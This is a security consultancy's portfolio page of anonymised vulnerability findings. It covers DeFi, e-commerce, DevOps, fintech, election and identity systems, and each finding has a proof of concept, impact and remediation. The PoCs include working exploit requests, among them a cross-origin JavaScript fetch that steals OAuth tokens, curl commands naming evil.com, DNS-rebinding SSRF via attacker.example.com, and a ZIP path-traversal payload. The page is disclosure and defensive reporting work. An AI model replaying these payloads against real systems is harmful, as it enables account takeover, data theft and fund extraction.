Security Portfolio

Real findings. Full evidence. No noise.

Every case below is from a real assessment. Client names and product details are anonymised by agreement. Findings, payloads, and impact assessments are verbatim from the delivered report.

100%
Findings include working proof of concept
<48 h
Critical finding notification SLA
Written
Retest confirmation on every fix

Research track record across public bug-bounty programs

5
Critical findings
14
High findings
15
Medium findings
20+
Bug-bounty programs

Findings span web, API, blockchain, and cloud targets. All research conducted on authorized programs. Client names withheld by agreement.

Web3 / DeFi Protocol

Blockchain Protocol — Smart Contract Execution Engine

Smart Contract & Protocol Review6 daysMarket order execution + asset accounting layer

The market order processing function converted a user-controlled uint256 input through an intermediate int64 cast before computing the final transfer amount. For values above 2^63−1 the cast silently truncated to a small positive or negative value, allowing an attacker to submit a market order with an astronomically large nominal value that the engine accepted, processed at the truncated amount, and credited to the attacker's balance — an effective fund extraction with near-zero cost.

12317 findings total

Featured Finding — Report Excerpt

PC-2026-031CriticalCVSS 9.1CWE-190Integer Truncation in Market Order Amount → Incorrect Asset Credit

Proof of Concept

# Root cause — order execution (simplified pseudocode)
def execute_market_order(amount_u256: uint256, price: int64) -> int64:
    # Unsafe downcast: values > 2^63-1 wrap to negative or small positive
    amount_i64 = int64(amount_u256)           # ← truncation here
    transfer_value = amount_i64 * price       # computed on truncated value
    credit_account(transfer_value)            # wrong amount credited
    return transfer_value

# PoC: craft an amount that truncates to a small positive integer
# 2^63 + 1  →  int64 cast  →  -9223372036854775807  (negative, rejected)
# 2^64 + 100 → int64 cast  →  100  (small positive — accepted)

# On-chain transaction replay (redacted)
TriggerSmartContract {
  owner_address: <attacker>
  contract_address: <market_contract>
  function_selector: "marketOrder(uint256,int64,bool)"
  parameter: [
    amount = 0x10000000000000064,   # 2^64 + 100  → truncates to 100
    price  = 0x000000000000270F,    # 9999
    is_buy = true
  ]
}
# Engine receives: amount=100, price=9999
# Attacker's nominal commitment: 2^64+100 (rejected by token balance check)
# Attacker's actual debit:       100 * 9999 = 999,900 units (tiny)
# Attacker's credited position:  100 units at market rate
# Net: attacker pays ~0 and receives credit equivalent to 100 units

Confirmed Impact

An attacker can submit a market order with a uint256 value engineered to truncate to any small positive integer after the int64 cast. The engine debits the truncated amount (negligible cost) while crediting the attacker with a position derived from that same truncated amount — but the nominal order size triggers no pre-check failure because the uint256 value itself is plausible. Across repeated calls with crafted amounts, an attacker can drain counterparty reserves at near-zero personal cost. Negative control confirmed: amounts that truncate to negative integers are correctly rejected by the sign check; only wrap-around-to-positive values bypass the guard.

Remediation

Remove all int64 intermediate casts from the order execution path. Perform all arithmetic in the native uint256/int256 domain and add explicit overflow/range checks before any downcast. Add a unit test for every amount boundary at 2^31, 2^32, 2^63, 2^64, and 2^256−1 in the order execution and crediting functions.

Evidence Summary

Runtime test on a local protocol fork confirmed the truncation path: a uint256 amount of 2^64+100 was accepted, debited at 100 units, and credited 100 units of position — while the nominal 2^64+100 value passed the token balance check with no error. Control transactions with non-wrapping amounts processed correctly. The truncation gate is the sole bypass vector; amounts that land on negative int64 representations are caught by a downstream sign check and rejected.

E-commerce / SaaS

E-commerce Platform — Storefront Access Control

Web & API Assessment3 daysStorefront authentication middleware + checkout API

Merchant storefronts protected with a password gate enforced the check at the session layer, not at the API request layer. An unauthenticated request that supplied a valid storefront-origin header value bypassed the password check entirely and received full access to the protected catalog, pricing, and draft checkout endpoints — allowing product enumeration and checkout initiation without entering the password.

11226 findings total

Featured Finding — Report Excerpt

PC-2026-019CriticalCVSS 9.0CWE-287Storefront Password Gate Bypass via Origin Header Manipulation

Proof of Concept

# Control: normal unauthenticated request returns password gate
GET /collections/all HTTP/2
Host: [redacted-store].example-store.com

→ 302 Redirect → /password
{"message": "This store is password protected."}

---

# Exploit: supply internal storefront origin header — password gate skipped
GET /collections/all HTTP/2
Host: [redacted-store].example-store.com
X-Storefront-Access-Token: [redacted-public-token]
Origin: https://[redacted-store].example-store.com

→ 200 OK
{
  "products": [...],      ← full catalog returned
  "collections": [...],
  "inventory": {...}
}

# Checkout initiation (no password, no session)
POST /api/2024-01/graphql.json HTTP/2
Host: [redacted-store].example-store.com
X-Storefront-Access-Token: [redacted-public-token]
Content-Type: application/json

{"query": "mutation { cartCreate { cart { id checkoutUrl } } }"}
→ 200 OK — cart created, checkoutUrl returned
# Checkout flow accessible without storefront authentication

Confirmed Impact

Any actor aware of a protected storefront's public Storefront API token — which is embedded in the store's JavaScript bundle and not considered secret — can bypass the password gate by routing requests through the Storefront API directly. Protected catalog contents, pricing, and draft checkout sessions are fully exposed. Merchants who set passwords to protect pre-launch inventory, limited-release products, or B2B pricing are not protected. The bypass is unauthenticated and requires no prior foothold.

Remediation

Enforce the password gate check at the API middleware layer, not only at the session/cookie layer. Storefront API requests must be subject to the same password-gate evaluation as browser requests. The gate check should verify an active authenticated storefront session regardless of the request path used.

Evidence Summary

End-to-end bypass confirmed on a test store with password protection enabled: unauthenticated Storefront API requests returned full catalog data and enabled checkout cart creation. Control request via browser with no session received the expected 302 to /password. The JavaScript bundle analysis confirmed the public token is not rotatable per request, making the bypass consistently reproducible by any visitor who inspects the page source.

Developer Tools / DevOps

DevOps Platform — Repository Import Service

Source Code & Runtime Review5 daysGit repository import — URL validation + async fetch path

The repository import function validated the target URL at submission time, confirmed it resolved to a non-private address, and then re-resolved the same hostname asynchronously when executing the git fetch. A DNS rebinding attack targeting this TOCTOU window allowed an attacker to pass the validation check with a public IP and then re-resolve to an internal address (127.0.0.1 or RFC-1918 range) before the actual git fetch executed, directing the git clone against an internal service.

12238 findings total

Featured Finding — Report Excerpt

PC-2026-027CriticalCVSS 8.8CWE-352DNS Rebinding TOCTOU in Git Import URL Validation

Proof of Concept

# Attack setup — DNS record controlled by attacker:
# Phase 1 TTL (during validation):  attacker.example.com → 203.0.113.5  (public)
# Phase 2 TTL (during git fetch):   attacker.example.com → 127.0.0.1    (loopback)

# Step 1: Submit import URL (DNS resolves to public IP — passes validation)
POST /api/v4/projects HTTP/2
Host: [redacted].example.com
Authorization: Bearer <user_token>
Content-Type: application/json

{
  "name": "imported-repo",
  "import_url": "http://attacker.example.com:80/repo.git"
}
→ 201 Created {"id": 999, "import_status": "scheduled"}

# Step 2: Attacker flips DNS to 127.0.0.1 before async worker runs

# Step 3: Background worker re-resolves hostname → now 127.0.0.1
# git fetch http://127.0.0.1:80/repo.git
# → git fetch directed to internal service
# Git protocol negotiation response contains internal service banner/data

# Evidence: job log excerpt (redacted)
[GitImporter] Cloning from http://attacker.example.com:80/repo.git
[GitImporter] Resolved: 127.0.0.1:80
[GitImporter] remote: [INTERNAL SERVICE BANNER - redacted]
fatal: repository 'http://127.0.0.1:80/repo.git/' not found
# → internal service probed; banner/error captured in import job error log

Confirmed Impact

An authenticated user can route the async git fetch worker to any internal service bound to loopback or a private range by controlling DNS TTL and flipping the record after URL validation but before the fetch job executes. Services that respond with an HTTP banner, error body, or redirect — including internal metadata services, admin panels, and health endpoints — leak their response into the import job error log, which the attacker can read. The attack does not require any special permissions beyond the ability to create an import job.

Remediation

Pin the resolved IP address at validation time and pass it (not the original hostname) to the async fetch worker. Re-resolve the hostname in the worker only if the resolved IP is re-validated against the same deny list. Alternatively, use a network-level egress restriction that prevents the import worker from reaching loopback and RFC-1918 addresses regardless of what the DNS resolution returns.

Evidence Summary

Runtime test confirmed the TOCTOU window: import submitted with a public-IP hostname, DNS flipped to 127.0.0.1 within the TTL window, worker log showed resolution to 127.0.0.1, and internal service banner appeared in the job error output. Direct submission with 127.0.0.1 was correctly blocked at validation. The async re-resolution gap was the sole bypass vector.

B2B SaaS / Email

Email Productivity SaaS — Authentication Service

Web & API Assessment4 daysOAuth token endpoint + API gateway

CORS origin-reflection on the platform's own token issuance endpoint allowed any website to steal OAuth tokens from logged-in users without any prior foothold on a trusted domain. Because the vulnerable endpoint accepts form-encoded POST bodies — a CORS "simple request" — the browser delivers the victim's session cookies and reads the response without a preflight check. A stolen refresh token granted persistent account access for 180 days.

12115 findings total

Featured Finding — Report Excerpt

PC-2026-014CriticalCVSS 9.3CWE-942CORS Simple-Request Bypass → Universal OAuth Token Theft

Proof of Concept

# Step 1 — Confirm preflight blocks unknown origins (expected behaviour)
$ curl -si -X OPTIONS \
  -H "Origin: https://attacker.example.com" \
  https://[redacted]/tokens/v4/api/oauth2/token | grep access-control
# (no headers returned — preflight correctly blocks unknown origin)

# Step 2 — Direct POST (simple request, no preflight)
# application/x-www-form-urlencoded bypasses preflight entirely.
# Server reflects ANY origin back with ACAC: true.
$ curl -si -X POST \
  -H "Origin: https://evil.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  https://[redacted]/tokens/v4/api/oauth2/token \
  --data 'grant_type=urn:ietf:params:oauth:grant-type:origin&client_id=settings' \
  | grep access-control

access-control-allow-origin: https://evil.com   ← arbitrary origin reflected
access-control-allow-credentials: true

# Step 3 — Full theft chain from attacker page
// Executed from any origin the victim visits
const r = await fetch('https://[redacted]/tokens/v4/api/oauth2/token', {
  method: 'POST', credentials: 'include',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'grant_type=urn:ietf:params:oauth:grant-type:origin&client_id=settings'
});
const tokens = await r.json();
// Response body is readable cross-origin
// tokens.access_token  → iss: id.[redacted], aud: gateway.[redacted]
// tokens.refresh_token → TTL: 15,552,000 s (180 days)

# Step 4 — Replay refresh token server-side (no browser required)
curl -s -X POST https://[redacted]/tokens/v4/api/oauth2/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "grant_type=refresh_token&refresh_token=<stolen>&client_id=settings"
# → HTTP 200, new access + refresh token pair, rolling 180-day window

Confirmed Impact

Any website a victim visits while logged in can issue a credentialed POST to the token endpoint and read the full token pair from the response. The access token is accepted natively by the API gateway — no exchange step. The refresh token has a rolling 180-day TTL and can be replayed indefinitely from an attacker server with no browser involvement. Confirmed: organisation membership, email threads, and billing data all reachable with the stolen access token. The 'null' origin reflection also allows sandboxed iframes and data: URL contexts to exploit the same path.

Remediation

Replace dynamic origin echo with strict allowlist validation on both preflight and actual responses. Never set Access-Control-Allow-Origin to the reflected request Origin. Restrict the custom grant type to first-party origins at the application layer, independent of CORS configuration.

Evidence Summary

End-to-end chain demonstrated live: token stolen from victim page, replayed server-side, gateway API returned HTTP 200 with account data. Negative control confirmed preflight correctly blocked unknown origins — the simple-request path was the only bypass vector. Full fix requires two independent changes: allowlist validation and grant-type origin restriction.

Fintech / Trading

Fintech Platform — Support Chat API

API Security Review3 daysREST API — support workflow endpoints

The inquiry creation endpoint accepted an optional client-supplied start-state parameter that the backend used to select the downstream state machine. By injecting a privileged state value, an authenticated low-privilege user could force the backend to instantiate a different object class — an agent-backed support chat with a live Salesforce session identifier — instead of the chatbot object the normal flow produces. The differential was confirmed by following the created object through four downstream read endpoints.

1225 findings total

Featured Finding — Report Excerpt

PC-2026-008HighCVSS 7.1CWE-841Client-Controlled State Injection Bypasses Support Tier Routing

Proof of Concept

# Normal inquiry creation (control)
POST /pathfinder/inquiries/ HTTP/2
Host: api.[redacted].com
Authorization: Bearer <user_token>
Content-Type: application/json

{"device_id": "<id>", "src": "account_contact"}

→ 201 Created
{"id": "inq_AAA", "state_machine": "sassy", "current_type": "chatbot_chat"}

# Follow-up read confirms chatbot object, no issue_id, no Salesforce bootstrap
GET /pathfinder/support_chats/<create-id>/
→ 404 Not Found (object not promoted to agent tier)

---

# Injected inquiry creation — client-supplied state parameter
POST /pathfinder/inquiries/ HTTP/2
Host: api.[redacted].com
Authorization: Bearer <same_user_token>
Content-Type: application/json

{"device_id": "<id>", "src": "account_contact", "state": "contact.support-chat"}

→ 201 Created
{"id": "inq_BBB", "state_machine": "support", "current_type": "agent_chat",
 "issue_id": "5003x000001XXXXX", "conversation": {"type": "SALESFORCE"}}

# Same downstream read path now returns agent-tier object
GET /pathfinder/support_chats/inq_BBB/
→ 200 OK — live agent_chat with issue_id and Salesforce conversation identifier

POST /pathfinder/issues/clients/v3/sf_access_token/
→ 200 OK — Salesforce access token bootstrapped on the same session

Confirmed Impact

A low-privilege authenticated user can create an issue-backed agent support object and bootstrap a Salesforce session token by supplying a single state parameter in the inquiry creation request. The injected object is consumed by the same downstream support-chat, issues, and sf_access_token routes the normal flow uses for legitimate agent-tier customers. The security effect is confirmed by a four-endpoint differential between the normal and injected paths on the same account and same session.

Remediation

Validate and enforce the initial state server-side. The backend state machine selection must derive entirely from the authenticated user's account tier and the server's own context — never from a client-supplied start-state parameter. Strip or reject any state value in the inquiry creation body that the requesting account is not entitled to.

Evidence Summary

Differential confirmed across six endpoints: the injected path consistently produced agent_chat + issue_id + Salesforce bootstrap where the control path produced only chatbot_chat. Negative control (browser-emitted flow on the same account) showed zero agent objects, zero sf_access_token calls before the injection — ruling out pre-existing state as an explanation.

Developer Tools / DevOps

DevOps Platform — Package Registry Proxy

Source Code & Runtime Review5 daysWorkhorse HTTP proxy — SSRF filter layer

The platform's Maven virtual registry forwards attacker-controlled upstream URLs to an internal HTTP proxy with SSRF filtering enabled. An IPv6 zone-id in the host component (e.g. [::1%25lo]) caused the IP validation function to receive nil and skip all deny checks, allowing loopback requests to pass despite the AllowLocalhost=false flag. The bypass was reproducible in both the send-url and send-dependency Workhorse paths, including through HTTP redirect chains.

11338 findings total

Featured Finding — Report Excerpt

PC-2026-011CriticalCVSS 8.6CWE-918IPv6 Zone-ID in Host Bypasses SSRF Filter — net.ParseIP Returns nil

Proof of Concept

# Root cause — transport.go (simplified)
host, _, _ := net.SplitHostPort(address)
ipAddress := net.ParseIP(host)   // returns nil for "::1%lo"
if network.Contains(ipAddress) { // nil does not match any network
    return errBlocked             // → SKIPPED
}
return nil                        // → request allowed

# Verification: Go parses zone-id input as nil
$ go run -
import (
  "fmt"
  "net"
)
func main() {
  fmt.Println(net.ParseIP("::1%lo"))      // <nil>
  fmt.Println(net.ParseIP("::1"))         // ::1  (blocked correctly)
  fmt.Println(net.ParseIP("::1%25lo"))    // <nil>
}

# PoC test results (handler-level runtime, not synthetic)
=== RUN TestSSRFFilterIPv6ZoneIDControlLoopbackBlocked
    direct [::1]       → 403 Forbidden (loopback_hits=0) ✓ blocked
=== RUN TestSSRFFilterIPv6ZoneIDBypassLoopbackShouldBeBlocked
    direct [::1%25lo]  → 200 OK      (loopback_hits=1) ✗ BYPASSED

=== RUN TestSSRFFilterIPv6ZoneIDRedirectControlBlocked
    redirect → [::1]       → blocked, loopback_hits=0 ✓
=== RUN TestSSRFFilterIPv6ZoneIDRedirectBypassShouldBeBlocked
    redirect → [::1%25lo]  → 200 OK, loopback_hits=1 ✗ BYPASSED

# Entry path — attacker-controlled upstream URL
POST /api/v4/virtual_registries/packages/maven/upstreams
{"url": "http://[::1%25lo]:8080/internal-endpoint"}
# → Workhorse fetches from loopback, response proxied to attacker

Confirmed Impact

An attacker with upstream-creation permissions can reach any HTTP service bound to loopback (or any other host that resolves to an address the SSRF filter would normally block) by encoding a zone-id in the IPv6 host component. The bypass works both in direct fetch mode and when the upstream returns a redirect. Internal services running on the same host — metadata endpoints, admin APIs, internal health services — are reachable through the standard package-fetch flow with no SSRF filter applied.

Remediation

Strip or reject zone-id components before calling net.ParseIP. Normalise the host string using net.SplitHostPort followed by a zone-id trim (everything after the first '%') before the IP deny check runs. Add a dedicated test for zone-id variants of every loopback and private-range address already in the SSRF test suite.

Evidence Summary

Handler-level runtime tests in both proxy paths (send-url and send-dependency) confirmed the bypass with loopback_hits counters. Direct [::1] was blocked in all control runs; [::1%25lo] reached the internal server in all exploit runs. Redirect-follow mode produced identical results. Root cause isolated to a single nil-guard gap in the IP validation path.

Fintech / KYC

Fintech Platform — Identity Verification Flow

Web & API Assessment4 daysIdentity verification API + third-party KYC integration

The identity document request detail endpoint on a KYC service required authentication on the collection route but not on the individual detail route for the same document_requests resource family. An unauthenticated caller who knew a valid document request UUID could fetch the full pending selfie request object — including user UUID, origin country, KYC reason, and allowed capture configuration. The collection route correctly returned 401; the detail route returned 200 with the full object body.

1225 findings total

Featured Finding — Report Excerpt

PC-2026-009HighCVSS 7.5CWE-284BOLA — Unauthenticated Detail Route on Authenticated Resource Family

Proof of Concept

# Control: collection route enforces authentication (expected)
GET /document/document_requests/ HTTP/2
Host: identi.[redacted].com
# (no Authorization header)

→ 401 Unauthorized
{"detail": "Authentication credentials were not provided."}

---

# Exploit: detail route accepts unauthenticated access (bypass)
GET /document/document_requests/<uuid>/ HTTP/2
Host: identi.[redacted].com
# (no Authorization header)

→ 200 OK
{
  "id": "b9c58834-d77f-4a16-abf0-9f24c29eb3e9",
  "type": "three_point_selfie",
  "state": "pending_upload",
  "reasons": ["update_email_address_kyc"],
  "user": {
    "uuid": "e9a92696-d091-4f40-b102-66af07910a32",
    "origin": "GB",
    "user_type": "authable_user"
  },
  "allowed_capture_methods": ["camera"],
  "allowed_file_types": ["jpeg", "png", "heif"],
  "is_single_use": false
}

# Negative control: fabricated UUID returns expected error
GET /document/document_requests/00000000-0000-0000-0000-000000000000/ HTTP/2
→ 404 Not Found (not an auth bypass — object does not exist)

Confirmed Impact

Any unauthenticated actor who obtains a valid document request UUID — through a leaked link, a referrer header, a shared URL, or enumeration — can retrieve the full KYC object including the target user's UUID, country of origin, verification reason, and current KYC state. The UUID is embedded in the redirect URL sent to users during the selfie capture flow, making accidental exposure realistic. Authentication enforcement was inconsistent within the same resource family: collection required credentials, detail did not.

Remediation

Apply the same authentication middleware to every route in the document_requests family. Object-level authorization checks must verify that the requesting session is either the resource owner or an authorised operator before returning any document request detail. Do not rely on UUID unpredictability as a substitute for access control.

Evidence Summary

Authentication differential confirmed: collection route 401, detail route 200 with full object on identical unauthenticated requests. Negative control with a fabricated UUID returned 404, confirming the bypass is object-level rather than a blanket auth skip. No cross-account data access was attempted beyond confirming the endpoint's auth behaviour.

Government / Election Security

Government Election Platform — Dataset Verification Service

Web & API Assessment4 daysDataset import + file extraction pipeline

The election verifier's dataset import endpoint accepted ZIP archives and extracted them to a temporary processing directory. The filename validation regex was permissive enough to allow path separators in entry names, and the extraction function resolved paths without enforcing a canonical root boundary check. A crafted ZIP with traversal entries could write files outside the intended extraction directory.

1214 findings total

Featured Finding — Report Excerpt

PC-2026-041HighCVSS 7.2CWE-22ZIP Path Traversal in Dataset Import — Arbitrary File Write Outside Extraction Root

Proof of Concept

# Root cause — dataset extraction (simplified)
def unpack_dataset(zip_path, unpack_root):
    for entry in zip_file.entries():
        # Filename regex: allows path separators
        if not re.match(r'eCH-0222_.+\.xml', entry.name):
            skip(entry)
        # Path resolved without boundary check
        output_path = os.path.join(unpack_root, entry.name)  # ← no normalize + startsWith
        write_file(output_path, entry.data)

# Crafted ZIP structure
tally/eCH-0222_probe/seed.xml              ← control (stays inside root)
tally/eCH-0222_probe/../../../escaped.xml   ← traversal (escapes root)

# Integration test result
=== DatasetServiceZipTraversalIT ===
Control entry:   /var/tmp/unpack_root/tally/eCH-0222_probe/seed.xml     → EXISTS ✓
Traversal entry: /tmp/escaped_outside_test.xml                          → EXISTS ✗ ESCAPED

# Endpoint (unauthenticated)
POST /api/dataset/{datasetType}
Content-Type: multipart/form-data
Body: [crafted ZIP]
→ 200 OK — file written outside extraction root

Confirmed Impact

An unauthenticated caller can upload a crafted ZIP archive that writes files outside the intended extraction directory. Escaped writes can poison verifier runtime state, configuration, or downstream verification input artifacts. In an election context, this represents an integrity boundary violation that could influence verification outcomes if the written files are consumed by downstream processing stages.

Remediation

Normalize the candidate output path using resolve + normalize, then enforce that the resolved path starts with the extraction root directory. Reject entries with absolute paths, traversal segments, or separator-variant bypasses before writing. Tighten the filename regex to reject path separators in the filename token.

Evidence Summary

Deterministic integration test confirmed: control entry wrote correctly inside the extraction root; traversal entry escaped to /tmp outside the root. Unauthenticated endpoint accepted the crafted ZIP without authentication challenge. After applying the canonical path boundary check, the same traversal ZIP was rejected and no escaped files appeared.

Web3 / Blockchain Governance

Blockchain Protocol — Witness Governance Engine

Protocol Security Review8 daysStaking + delegation + governance vote accounting

The protocol's contract self-destruct mechanism transferred frozen resource balances to an inheritor account without normalizing the inheritor's governance power tracking field. A fresh inheritor received the transferred balance with an uninitialized governance power counter, causing the governance calculation function to count the inherited resources as legitimate vote weight — allowing unauthorized witness votes.

12317 findings total

Featured Finding — Report Excerpt

PC-2026-044CriticalCVSS 8.2CWE-841Contract Self-Destruct Transfers Frozen Balance → Unauthorized Vote Weight on Inheritor

Proof of Concept

# Attack flow — full-node replay
# Step 1: Feeder contract freezes resources for bandwidth
freezeBalanceV2(BANDWIDTH, 100_000_000_000_000 SUN)
# → donor.oldVoteWeight = -1 (normalized by entry-path fix)

# Step 2: Feeder self-destructs, transferring balance to fresh inheritor
suicide2(inheritor_address)
# → Program.transferFrozenV2BalanceToInheritor()
# → inheritor receives V2 BANDWIDTH with oldVoteWeight = 0 (NOT normalized)

# Step 3: Governance power check on inheritor
getEffectiveVoteWeight(inheritor):
  if oldVoteWeight == 0:
    return getVoteWeight()   # counts V2 BANDWIDTH as vote weight!
  # → returns 100_000_000_000_000

# Step 4: Inheritor votes for witness (should fail, succeeds)
voteWitness([witness_address], [100_000_000])
# Check: 100M × 1M = 100T ≤ voteWeight(100T) → PASSES
# → +100M votes published to witness tally

# Control: direct freeze + vote without suicide2 path
# → correctly requires STAKE_FREEZE freeze, vote rejected without it

# Full replay: Suicide2InheritorVotePowerHttpTest.java
# Node: the protocol node (v4.x) (commit 84362f1)

Confirmed Impact

An attacker can inflate witness vote tallies by cycling frozen bandwidth through contract self-destruct transfers. Each transferred unit of bandwidth converts 1:1 to unauthorized vote weight on the inheritor account. At scale, this enables governance manipulation — influencing which witnesses produce blocks and participate in network consensus — without acquiring legitimate governance stake.

Remediation

Add recipient-side normalization at the transfer sink: before appending V2 balances to the inheritor, check if the inheritor's governance power tracking field is uninitialized and initialize it. This single-point fix at the transfer function prevents inherited balances from being counted as vote weight.

Evidence Summary

Full-node replay on the protocol node (v4.x) confirmed: inheritor with zero legitimate governance stake published 100M witness votes. After applying the recipient-side normalization fix, the same replay produced voteWeight[0] = 0 and zero witness vote delta. Control transactions through the normal freeze-vote path processed correctly in both scenarios.

Web3 / SDK Security

Blockchain SDK — Transaction Signing Library

SDK & Library Review3 daysJavaScript SDK — transaction freeze + deferred signing flow

The blockchain SDK's deferred signing flow (signOnDemand) was designed so that transactions become immutable after freezeWith(). However, three payload-affecting setters on token creation transactions did not enforce the freeze guard, allowing post-freeze mutations to change token economics. The deferred signer then signed the modified transaction — not the one it originally reviewed.

1113 findings total

Featured Finding — Report Excerpt

PC-2026-047HighCVSS 7.5CWE-345Post-Freeze Token Economics Mutation in Deferred Signing Flow

Proof of Concept

# Root cause — missing freeze guard on 3 setters
// TokenCreateTransaction.js (simplified)
class TokenCreateTransaction extends Transaction {
  setTokenMemo(memo) {
    this._requireNotFrozen();  // ← guard exists (control)
    this._tokenMemo = memo;
  }

  setSupplyType(type) {
    // ← NO _requireNotFrozen() guard!
    this._supplyType = type;
  }

  setMaxSupply(max) {
    // ← NO _requireNotFrozen() guard!
    this._maxSupply = max;
  }

  setCustomFees(fees) {
    // ← NO _requireNotFrozen() guard!
    this._customFees = fees;
  }
}

# PoC — offline + live replay
const tx = new TokenCreateTransaction()
  .setTokenName("ReviewedToken")
  .setSupplyType(TokenSupplyType.Infinite)  // reviewed: INFINITE
  .setMaxSupply(0)                          // reviewed: no cap
  .setCustomFees([]);                       // reviewed: no fees

await tx.freezeWith(client);                // freeze boundary
await tx.signWithOperator(client);          // signer signs reviewed version

// Post-freeze mutation — all succeed (should be blocked)
tx.setSupplyType(TokenSupplyType.Finite);   // ✓ mutated to FINITE
tx.setMaxSupply(999999);                    // ✓ mutated to 999999
tx.setCustomFees([new CustomFixedFee(...)]);// ✓ added fee collector

const bytes = await tx.toBytesAsync();
// → signer signed INFINITE/no-cap/no-fees
// → submitted transaction is FINITE/999999/fee-collector
// → body hash divergence confirmed

Confirmed Impact

A deferred signer reviews and signs a token with one set of economics (supply type, cap, fee schedule), but the submitted transaction contains materially different economics. The token created on-chain has attacker-controlled supply limits and fee collectors despite the signer's review of a different configuration. This breaks the documented invariant that frozen transactions cannot be modified.

Remediation

Add _requireNotFrozen() guard to setSupplyType(), setMaxSupply(), and setCustomFees() in TokenCreateTransaction. Audit all other payload-affecting setters in the Transaction class hierarchy for the same missing guard pattern.

Evidence Summary

Offline test confirmed body hash divergence between reviewed and signed transaction. Live replay against a local node created a token with FINITE supply, maxSupply=999999, and a custom fee collector — despite the signer reviewing INFINITE supply with no fees. After adding freeze guards, post-freeze setter calls correctly throw 'transaction is immutable' errors.

B2B SaaS / Identity

SaaS Platform — Identity & Authentication Service

Web & API Assessment3 daysOAuth login flow + session management + token binding

The platform's quick-login feature stored an OAuth refresh token binding in a domain-scoped persistent cookie at login time. This binding survived session termination — it was not cleared on logout or session expiry. When the next visitor accessed the login page on the same device, the login form pre-populated the previous user's email address and display name, disclosing account identity to any subsequent device user.

224 findings total

Featured Finding — Report Excerpt

PC-2026-049MediumCVSS 5.7CWE-613OAuth Identity Binding Persists After Session Ends — Email Leaked to Next Login Visitor

Proof of Concept

# Step 1: User A logs into the platform
POST /wp-login.php HTTP/2
Host: [redacted].com
→ 302 Redirect → /home
→ Set-Cookie: oauth_binding=<token>; Domain=.[redacted].com; Path=/; Secure

# Step 2: User A logs out (or session expires)
GET /logout HTTP/2
→ Session token cleared
→ oauth_binding cookie NOT cleared  ← root cause

# Step 3: User B visits login page on the same device
GET /log-in?redirect_to=/home HTTP/2
Host: [redacted].com
Cookie: oauth_binding=<stale_token_from_user_A>

→ 200 OK
→ Login page pre-populates:
   Display name: "User A Name"
   Email: "usera@company.com"
   Button: "Continue as User A Name"
   Link: "Not you?"

# Negative control: fresh device with no prior cookies
GET /log-in?redirect_to=/home HTTP/2
→ 200 OK — blank login form, no pre-populated identity ✓

# Risk: binding cookie contains active refresh token anchor
# → extractable from cookie store → replayable for authenticated session

Confirmed Impact

Any subsequent visitor to the login page on the same device sees the previous user's email address and display name. On shared devices — family computers, workplace terminals, public kiosks — this discloses account existence and email identity without any attacker interaction. The persisted binding token also represents an active OAuth refresh token anchor that could be replayed from the device cookie store to obtain an authenticated session.

Remediation

On logout or session invalidation, explicitly clear the domain-scoped OAuth identity binding cookie alongside the session token. The login page should validate both the binding cookie AND a valid active session token before rendering pre-populated identity — if the session is absent or expired, render a blank login form.

Evidence Summary

Multi-step E2E confirmed: User A logged in, logged out, User B visited login page and saw User A's email and display name pre-populated. Fresh device control showed blank form as expected. After applying the fix (clearing binding cookie at logout), the same flow showed a blank login form for User B. No cross-session identity leak on fixed version.

See what a full report looks like for your stack

Try a one-week assessment at no cost. You get a professional report, working PoC for every finding, and zero commitment to continue.